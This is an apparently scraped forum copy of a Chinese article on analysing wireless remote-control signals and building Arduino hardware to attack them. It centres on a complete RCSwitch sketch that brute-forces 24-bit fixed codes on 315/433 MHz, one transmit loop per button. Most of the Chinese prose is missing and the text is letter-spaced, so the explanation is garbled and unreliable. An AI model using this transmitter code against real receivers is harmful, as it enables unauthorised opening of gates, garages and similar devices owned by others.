[11011] 2017-02-10_分析无线遥控器信号并制作Hack硬件进行攻击

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2017-02-10_分析无线遥控器信号并制作Hack硬件进行攻击 线 H a c k Z M O M 1 0 3 1   F r e e B u f   2 0 1 7 - 0 2 - 1 0 * Z M O M 1 0 3 1 F r e e B u f         线 线 线 线 便 使 便 使 :   线 线 1 线 线 线 广   3     8     N   线   O O K     F S K   2 3     8   线
2 . 1   3     8     3     8             2   ( b i t )   4               3     8   使   3             3   8     8 使   3         1 6   ( b i t ) 线   2 4   ( b i t )   8   ( b i t )   2 5   ( b i t )       2 5   ( b i t )       4                 2 . 2                     3     8     8   ( b i t )   4   0 1 0 0 0 1 1 0 1 1 0 0 0 1 1 1 2   *   8   =   1 6 0 1 1 1 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 1 1 1 0 1 0 1 0
使 2 . 3     3     8     P C B     3     8   使   3     8   2 . 4     P C B   使   3     8  
  3     8     3     8     H i g h         L o w           使 3   2 4   ( b i t )   1 6   ( b i t )   3     8     8   ( b i t )   1 6   ( b i t )   8   ( b i t )   4         1 6 7 7 7 2 1 6     8   ( b i t )   4           1 6   ( b i t )   1 6   ( b i t )   8   ( b i t )         6 5 5 3 6     3     8     1 1 0 0 0 1 2   ^   2 4   =   1 6 7 7 7 2 1 6 2   ^   1 6   =   6 5 5 3 6 4   ^   8   =   6 5 5 3 6 1 0
        6 5 6 1   1 0     6 0 0     2 4   ( b i t )     2 7 9 6 2     2 0     1 6   ( b i t )     1 0 9           3     8         1 1     S a m y   K a m k a r     8     O p e n S e s a m e     S a m y   K a m k a r     3     8   1 2   ( b i t )       4 0 9 6   使 使         D e   B r u i j n       3     8   使 D e   B r u i j n 使     使 ( b i t ) 使 4   H a c k i n g     S D R   便 使   A r d u i n o     R F   使   A r d u i n o   使 使   C C 1 1 1 1     R F   4 . 1   A r d u i n o   P r o   M i c r o 3 1 5   M H z 4 3 3   M H z   线 1 0 K 线 4 . 2   1 0 3   ^   8   =   6 5 6 1 1 6 7 7 7 2 1 6   /   6 0 0   =   2 7 9 6 2 6 5 5 3 6   /   6 0 0   =   1 0 9 6 5 6 1   /   6 0 0   =   1 1 2   ^   1 2   =   4 0 9 6 0
4 . 3  
/ *     B r u t e   F o r c e   A t t a c k   4   ^   8   R e m o t e   C o n t r o l h t t p s : / / g i t h u b . c o m / Z M O M 1 0 3 1 / b r u t e f o r c e 3 - 8 r e m o t e * / # i n c l u d e   < s t d i o . h > # i n c l u d e   < R C S w i t c h . h > R C S w i t c h   m y S w i t c h   =   R C S w i t c h ( ) ; / /     4   c o n s t   i n t   b u t t o n _ a   =   1 0 ; c o n s t   i n t   b u t t o n _ b   =   1 6 ; c o n s t   i n t   b u t t o n _ c   =   1 4 ; c o n s t   i n t   b u t t o n _ d   =   1 5 ; i n t   b u t S t a t A   =   0 ; i n t   b u t S t a t B   =   0 ; i n t   b u t S t a t C   =   0 ; i n t   b u t S t a t D   =   0 ; i n t   d f a   =   2 5 6 ; v o i d   s e t u p ( )   {     S e r i a l . b e g i n ( 9 6 0 0 ) ;     m y S w i t c h . e n a b l e T r a n s m i t ( 9 ) ;         / /       m y S w i t c h . s e t P u l s e L e n g t h ( 1 7 0 ) ;       / /   使     p i n M o d e ( b u t t o n _ a ,   I N P U T ) ;     p i n M o d e ( b u t t o n _ b ,   I N P U T ) ;     p i n M o d e ( b u t t o n _ c ,   I N P U T ) ;     p i n M o d e ( b u t t o n _ d ,   I N P U T ) ; } v o i d   l o o p ( )   {     / /   r e a d   t h e   s t a t e   o f   t h e   p u s h b u t t o n   v a l u e :     b u t S t a t A   =   d i g i t a l R e a d ( b u t t o n _ a ) ;     b u t S t a t B   =   d i g i t a l R e a d ( b u t t o n _ b ) ;     b u t S t a t C   =   d i g i t a l R e a d ( b u t t o n _ c ) ;     b u t S t a t D   =   d i g i t a l R e a d ( b u t t o n _ d ) ;     / /   B u t t o n   A     i f   ( b u t S t a t A   = =   H I G H )   {         / /   c h e c k   i f   t h e   p u s h b u t t o n   i s   p r e s s e d .         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 1 9 2 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     }     / /   B u t t o n   B     i f   ( b u t S t a t B   = =   H I G H )   {         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 4 8 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     }     / /   B u t t o n   C     i f   ( b u t S t a t C   = =   H I G H )   {         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 1 2 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     }     / /   B u t t o n   D     i f   ( b u t S t a t D   = =   H I G H )   {         f o r   ( l o n g   i   =   0 ;   i   <   6 5 5 3 5 ;   i + +   ) {             l o n g   k e y   =   l o n g ( i   *   d f a )   +   i n t ( 3 ) ;             m y S w i t c h . s e n d ( k e y ,   2 4 ) ;         }     } }
        5 使 b r u t e f o r c e 3 - 8 r e m o t e   / h t t p s : / / b l o g . i t e r n u l l . c o m / p o s t s / 2 0 1 7 / 0 2 / 0 4 / U s e - A r d u i n o - b r u t e - f o r c e - t o - a t t a c k - r e m o t e - c o n t r o l . h t m l * Z M O M 1 0 3 1 F r e e B u f 4   ^   8 3   ^   8
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则